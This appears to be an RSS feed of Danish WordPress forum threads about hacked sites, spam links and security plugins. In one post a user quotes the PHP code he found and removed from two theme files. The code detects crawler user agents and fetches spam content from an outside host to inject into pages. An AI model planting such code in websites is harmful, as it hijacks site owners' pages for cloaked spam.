http://wp-danmark.dk/forum/tags/virus WordPress DK Forum Tag: virus - Recent Posts da-DK Tue, 15 Sep 2026 12:59:21 +0000 http://bbpress.org/?v=1.0.1 q http://wp-danmark.dk/forum/search.php http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72386 fre, 31 jan 2020 12:10:46 +0000 robertklujeff 72386@http://wp-danmark.dk/forum/ <p>Jeg er ny på denne site, jeg kender ikke historikken. Jeg kan ikke vide om det har været der tidligere. Jeg kunne grave i backups, men det orker jeg ikke.</p> <p>iThemes Security lyder godt, det må jeg hellere kigge nærmere på. Tak for input. </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72372 tirs, 28 jan 2020 17:37:05 +0000 boldt 72372@http://wp-danmark.dk/forum/ <p>Og de program-stumper fandtes ikke i original temaet?</p> <p>Hvilke fil-tilladelser har team-filerne? (læses med ftp-program som et tal 755, 644 eller ?) </p> <p>Jeg bruger <a href="https://wordpress.org/plugins/better-wp-security/">iThemes Security</a>. Her har jeg lavet indstilling som forhindrer at editors i WP-kontrolpanelet for plugins og temaer virker. (så jeg retter kun via up-/down-load i ftp og min notepad++). Derudover advarer iThemes mig også hvis der er foretaget ændringer i filer -File Change Detection.</p> <p>Og blot for at komplettere min fortælling om sikkerhed, så har jeg installeret <a href="https://da.wordpress.org/plugins/hide-login-page/">Hide login page, Hide wp admin<br /> </a> som effektivt omdøber /wp-admin til noget andet samt sender 404 errors til en dediceret side, hvilket har fjernet 99,99% af de angreb på mine sider. </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72371 tirs, 28 jan 2020 16:22:28 +0000 robertklujeff 72371@http://wp-danmark.dk/forum/ <p>Jeg fandt virus i to af temafilerne i WP-content/themes/Avada, nemlig i filerne single.php og header.php. I disse var der indsat dette kode, der på runtime hentede spam-links, og indsatte i teksten:</p> <p>&lt;?php<br /> if(preg_match('/Google Web Preview|bot|spider|wget/i',$_SERVER['HTTP_USER_AGENT'])){<br /> $fp=fopen('http://go.geturnet.com/win9977.txt','r');<br /> while(!feof($fp)){<br /> $result.=fgets($fp,1024);<br /> }<br /> echo $result;<br /> fclose($fp);<br /> }<br /> ?&gt;</p> <p>Jeg har fjernet dem, men mangler at finde ud af hvordan de kom derind :-) </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72333 tirs, 21 jan 2020 18:04:56 +0000 robertklujeff 72333@http://wp-danmark.dk/forum/ <p>Ja, men jeg tager nu nok begge dele - jeg følger vejledningen! </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72329 tirs, 21 jan 2020 15:08:45 +0000 boldt 72329@http://wp-danmark.dk/forum/ <p>Husk det er backup af programpakken - ikke databasen - der er vigtig. </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72328 tirs, 21 jan 2020 14:32:20 +0000 robertklujeff 72328@http://wp-danmark.dk/forum/ <p>Forresten, jeg fik ikke svaret på alle dine spørgsmål.</p> <p>Jeg har ikke prøvet at skifte tema. Jeg er ikke ret WP kyndig, var bange for at vi så "mistede" data</p> <p>Vi bruger nogle plugins, men ikke mange. Vi begyndte at disable i aftes, og stoppede med en SEO plugin, da spam forsvandt da vi gjorde det. Det dukkede dog op idag igen, så det var alligevel ikke det. Men vi kan forsøge igen - det gør vi!</p> <p>Problemet har været det i måske 2-4 måneder, ikke længere.</p> <p>Vi har ikke prøvet at indlæse backups, men det er et godt forslag, det vil jeg gøre.</p> <p>Tak for input </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72327 tirs, 21 jan 2020 14:27:49 +0000 robertklujeff 72327@http://wp-danmark.dk/forum/ <p>Fedt, tak for det. Det er jo ret omfattende og tidskrævende, men der er nok ikke nogen nemme genveje. Jeg har forsøgt at installere diverse plugins der påstår at kunne finde spam og virusser, men ingen af de 4-5 jeg har prøvet har fundet noget.<br /> Jeg bider i det sure æble, og forsøger ovenstående.<br /> Tak for inputtet </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72326 tirs, 21 jan 2020 13:26:46 +0000 boldt 72326@http://wp-danmark.dk/forum/ <p>Det kan godt være at siden er hacket. </p> <p>Jeg tror stadigvæk at du skal fokusere på Temaet.<br /> Hvad sker der, hvis du skifter tema?</p> <p>Hvormange plugins bruger du?<br /> wpthemedetector.com siger 1: WP-Rocket</p> <p>I stedet for at slette via kontrolpanelet foreslår jeg at du arbejder via FTP.</p> <p>Har problemet altid været der?<br /> Har du en backup liggende hvor det ikke sker?</p> <p>Da jeg ikke har adgang til din wp-installation via ftp kan jeg ikke hjælpe med at lede efter "forbudte" filer. (og nej jeg ønsker heller ikke)</p> <p>Hvis du lægger en ny wp-installation på siden, så behøver du kun at lede efter uartigheder i mappen wp-content og alle undermapper der hører der til.</p> <p>Jeg har tidligere beskrevet, hvordan man lægger en ren wp-installation op:</p> <p>Alle dine tilføjelser, temaer, plugins og billeder ligger i wp-content mappen med tilhørende undermapper og denne mappe skal derfor bevares.<br /> Derudover indeholder filerne wp-config.php og .htaccess informationer som relateres til din database og dit installation generelt, derfor skal disse også bevares.</p> <p>Alle andre filer og mapper slettes med dit ftp-program inden du uploader wordpress filerne.</p> <p>Læs mere her: <a href="https://wordpress.org/support/article/upgrading-wordpress-extended-instructions/">Upgrading WordPress – Extended Instructions</a></p> <p>Oversigt over opgraderingsprocessen i følge ovenstående link</p> <p>1) Sikkerhedskopier din database.<br /> 2) Sikkerhedskopier ALLE dine WordPress-filer i dit WordPress-bibliotek.<br /> 3) Kontroller, at de sikkerhedskopier, du har oprettet, er der og kan bruges.<br /> 4) Deaktiver ALLE dine plugins.<br /> 5) Sørg for, at de første fire trin er afsluttet.<br /> 6) Download og udpak WordPress-pakken fra <a href="https://wordpress.org/download/" rel="nofollow">https://wordpress.org/download/</a>.<br /> 7) Slet de gamle WordPress-filer på dit websted, men SLET IKKE wp-config.php fil; wp-content mappen og alle den undermapper; .htaccess-fil.<br /> 8) Upload de nye filer fra din computers harddisk til den relevante WordPress-mappe på dit websted.<br /> 9) Kør WordPress-opgraderingsprogrammet, og følg instruktionerne på skærmen.*)<br /> 10) Opdater permalinks og .htaccess.<br /> 11) Installer opdaterede plugins og temaer.<br /> 12) Genaktiver plugins</p> <p>*) opgraderingsprogrammet tilgås på <a href="https://eksempel.dk/wp-admin/upgrade.php" rel="nofollow">https://eksempel.dk/wp-admin/upgrade.php</a> </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72325 tirs, 21 jan 2020 12:44:15 +0000 robertklujeff 72325@http://wp-danmark.dk/forum/ <p>Det er lige nøjagtig det der gør, og vi aner ikke hvor de kommer fra. De står ikke på siden i admin, kigger vi på siten på localhost, er disse links der ikke. Linkene kommer og går, den ene dag på en side, næste dag på en anden. SÅ er de der nogle timer, og pludselig forsvinder de igen. De må blive indsat af noget intelligent kode - jeg kan bare ikke finde af af hvad det er for noget kode.<br /> Jeg er ved at grave mig ned i wordpress, for at se om jeg kan gennemskue kilden. Jeg kender placeringen i HTML, men skal længere ned for at se om det kan hjælpe mig....<br /> Problemet er også at den kommer og går. I går opdaterede jeg en plugin, og pludselig var de væk. Jeg troede det var løst, men idag er de tilbage igen. Det er linkene kommer og går gør det ret svært at finde årsagen!<br /> Forslag er velkomne. </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72322 man, 20 jan 2020 15:30:47 +0000 APPWEB 72322@http://wp-danmark.dk/forum/ <p>Her et lille hint......<br /> Hvad er dette, kig på siden </p> <p><a href="https://peterhjeds.dk/hvad-er-tantra-massage/" rel="nofollow">https://peterhjeds.dk/hvad-er-tantra-massage/</a><br /> der står en masse tal.:<br /> 200-125 300-115 200-105 200-310 640-911 300-075 300-320 300-360 642-998 QV_DEVELOPER_01 400-101 700-501 117-201 70-696 700-505 600-199 400-351 300-207 TE0-141 100</p> <p>og nogle link hedder <a href="http://www.hotsexams.com/300-209.html" rel="nofollow">http://www.hotsexams.com/300-209.html</a></p> <p>...................!!!!! </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72320 man, 20 jan 2020 10:45:08 +0000 robertklujeff 72320@http://wp-danmark.dk/forum/ <p>Tak for det. jeg havde håbet andre har oplevet noget lignende, så de kunne komme med et hint til en form for virus, der manifesterer sig så vilkårligt som denne gør, en virus der kommer og går, og kun påvirker nogle sider - og gør det tilfældigt. </p> <p>Men tak for tippene, jeg vil prøve kigge i den retning. </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72316 fre, 17 jan 2020 07:53:18 +0000 boldt 72316@http://wp-danmark.dk/forum/ <p>det ser ikke ud til at siden som sådan er hacket. (/index.php og /index.htm siderne vises korrekt)</p> <p>auto-generer temaet indhold/relationer til andre lignende sider? (en feature hos nogle temaer)</p> <p>jeg har ikke råd til at gå yderligere i detaljer omkring undersøgelse af dit betaingstema - Avada </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-min-kammerats-side-viser-porno-links#post-72315 fre, 17 jan 2020 00:03:41 +0000 robertklujeff 72315@http://wp-danmark.dk/forum/ <p>Hej med jer</p> <p>Er der nogen der kan gennemskue hvorfor siten peterhjeds.dk nogle gange har sider der indeholder links til porno-sites?</p> <p>De kommer og går tilfældigt, skifter fra side til side i et tilfældigt mønster. de er som regel kun på PC/Ipad siderne, ikke når man ser siten på en telefon. Den ene dag er det en side der viser disse links, en anden dag en anden side. </p> http://wp-danmark.dk/forum/topic/muhammed-hacking#post-72009 tors, 17 okt 2019 09:28:43 +0000 charliebrooke 72009@http://wp-danmark.dk/forum/ <p>Be careful how you store confidential information. Use encrypted computer hard drives, USBs, etc if they contain sensitive information. Never write your passwords on a post-it or notepad @<a href="https://sushkom.com/ca/antivirus-software/windows">sushkom</a> </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-jeg-er-blevet-hijacked#post-68142 ons, 16 aug 2017 07:50:15 +0000 Danny Bahl 68142@http://wp-danmark.dk/forum/ <p>På linket her kan du hente en tjekliste. Det kan være kompliceret, men nogle gange er det ikke meget svært at komme af med.<br /> <a href="https://webnom.dk/en-hacket-hjemmeside/" rel="nofollow">https://webnom.dk/en-hacket-hjemmeside/</a> </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-jeg-er-blevet-hijacked#post-68130 man, 14 aug 2017 12:14:39 +0000 websucces 68130@http://wp-danmark.dk/forum/ <p>Jeg har samme problem med min side hg-netavis.dk er der noget der ved hvad jeg kan gøre. </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-jeg-er-blevet-hijacked#post-67108 fre, 24 feb 2017 01:33:23 +0000 APPWEB 67108@http://wp-danmark.dk/forum/ <p>Hmm, jeg bliver IKKE videresendt...!!! </p> http://wp-danmark.dk/forum/topic/hj%c3%a6lp-jeg-er-blevet-hijacked#post-67107 tors, 23 feb 2017 19:29:56 +0000 Orudnap 67107@http://wp-danmark.dk/forum/ <p>Hej<br /> PANIK! Når man søger mit firma: "Coach and Care" i google, og klikker på hjemmesidelinket, bliver man videresendt til en side med japanske kjoler.<br /> - og dette er ikke min ydelse!<br /> Hvordan kan jeg få dette fjernet hurtigst muligt??? </p> http://wp-danmark.dk/forum/topic/er-wpcronphp-virus-antivirus-sletter-den#post-58760 fre, 05 sep 2014 20:58:18 +0000 flemming25 58760@http://wp-danmark.dk/forum/ <p>Jeg har et spørgsmål i wordpress som går ud på det med wp-cron.php. </p> <p>Dette wp-cron skulle være et automatiseret værktøj til wordpress. Sådan at opgaver løses. F.eks at akismet får meddelelser til analyse så den kan udføre sin egen opgave.<br /> Eller om der sendes mails ud. Ja altså at der løses nogle opgaver på sin hjemmeside.<br /> Men altså. Inde på hosten med ftp under wp-content/uploads kommer der en fil der hedder wpcron.php. Altså uden bindestreg. Prøver man at hente filen ned gennem sin ftp, jamen så fanger ens virus-scanner den som malware, og mener det er en bagdør.<br /> Prøver man at åbne den op i en texteditor vil man kunne se en stor omgang volapyk, som jeg betegner som noget krypteret tekst hvilket for mig indikerer rigtigt nok at det er malware/virus/snavs/uønsket.<br /> Der er også et sikkerhedsplugin på siden, der også gør opmærksom på at denne fil kunne være uønsket.<br /> Kan nogen være med til at gøre mig lidt mere klog på dette??</p> <p>Siden har været ramt af hackere, hvor de har haft skrevet på siden med skjult tekst og lavet andre numre. Men alt det skulle gerne være overstået, men ja i kender det vel godt at nu er man mere opmærksom, og så bliver almindeligt pludseligt også mistænkeligt hvis man ikke har lagt mærke til det før. </p> http://wp-danmark.dk/forum/topic/wordpress-sikkerhed-1#post-43798 tirs, 15 jan 2013 10:46:27 +0000 John Sahl 43798@http://wp-danmark.dk/forum/ <p>Umiddelbart et rigtig godt plugin. Tak for henvisningen! </p> http://wp-danmark.dk/forum/topic/wordpress-sikkerhed-1#post-43794 tirs, 15 jan 2013 08:38:56 +0000 Anders2612 43794@http://wp-danmark.dk/forum/ <p>@ John: fedt med defender - den kendte jeg ikke!</p> <p>@ Steffen: Hvilken eller hvilke hosts er du glad for? </p> http://wp-danmark.dk/forum/topic/wordpress-sikkerhed-1#post-43793 tirs, 15 jan 2013 01:26:06 +0000 stffn 43793@http://wp-danmark.dk/forum/ <p>Regel #1: Husk at hold WordPress + plugins opdateret.<br /> Vælg din host med omhu. </p> http://wp-danmark.dk/forum/topic/wordpress-sikkerhed-1#post-43792 tirs, 15 jan 2013 00:05:03 +0000 John 43792@http://wp-danmark.dk/forum/ <p>Glemte denne :<br /> <a href="http://www.websitedefender.com/" rel="nofollow">http://www.websitedefender.com/</a> </p> http://wp-danmark.dk/forum/topic/wordpress-sikkerhed-1#post-43791 man, 14 jan 2013 23:43:51 +0000 Anders2612 43791@http://wp-danmark.dk/forum/ <p>Super! Tak skal du have, John. Det tjekker jeg ud asap :) </p> http://wp-danmark.dk/forum/topic/wordpress-sikkerhed-1#post-43790 man, 14 jan 2013 23:36:09 +0000 John 43790@http://wp-danmark.dk/forum/ <p>Jeg bruger denne som kan en masse ting ;-)<br /> <a href="http://wordprestema.dk/wordfence" rel="nofollow">http://wordprestema.dk/wordfence</a></p> <p>Findes også en gratis "light" version </p> http://wp-danmark.dk/forum/topic/wordpress-sikkerhed-1#post-43789 man, 14 jan 2013 23:27:48 +0000 Anders2612 43789@http://wp-danmark.dk/forum/ <p>Jeg skal til at lave en hjemmeside for en klient, og vil høre jer om hvordan i sikrer jeres hjemmesider? Jeg plejer at bruge pluginnet "Better WP Security", men kender I et bedre plugin, eller har i andre gode tips til hvordan man undgår virus, malware og alt det der. Pft! </p> http://wp-danmark.dk/forum/topic/virus-alarm#post-36939 man, 30 apr 2012 14:43:08 +0000 Henning 36939@http://wp-danmark.dk/forum/ <p>Alt virker igen.<br /> Svaret fra hostens support er noget lignende:<br /> <blockquote>Vi har i weekenden installeret en lidt for aktive firewall, som fandt virus hvor der ikke var. Vi beklager ulejligheden.<br /> </blockquote> </p> http://wp-danmark.dk/forum/topic/virus-alarm#post-36912 søn, 29 apr 2012 17:46:37 +0000 JacobHansen 36912@http://wp-danmark.dk/forum/ <p>Det sker desværre tit at Wordpress bliver hacket. Og oftes kan disse Javascript angreb være meget svære at finde frem til da koden oftest er meget godt gemt. Derfor vil jeg anbefalde at du finder en backup og gendanner din side derfra (databasen kan du nok godt beholde). </p> <p>Oftest har jeg set at disse angreb sker via at "bruteforce" sig ind på ftp-serveren så jeg ville skynde mig at ændre passwordet til din FTP bruger, men selvfølgelig os alle andre passwords for hvis hackeren har haft adgang til din ftp, kan han jo også have adgang til resten af din side. </p> http://wp-danmark.dk/forum/topic/virus-alarm#post-36901 søn, 29 apr 2012 16:22:22 +0000 Henning 36901@http://wp-danmark.dk/forum/ <p>@John<br /> Det er sat i gang med en henvendelse til deres support </p> http://wp-danmark.dk/forum/topic/virus-alarm#post-36900 søn, 29 apr 2012 16:09:38 +0000 John 36900@http://wp-danmark.dk/forum/ <p>Du skal jo nok kontakte web10. </p>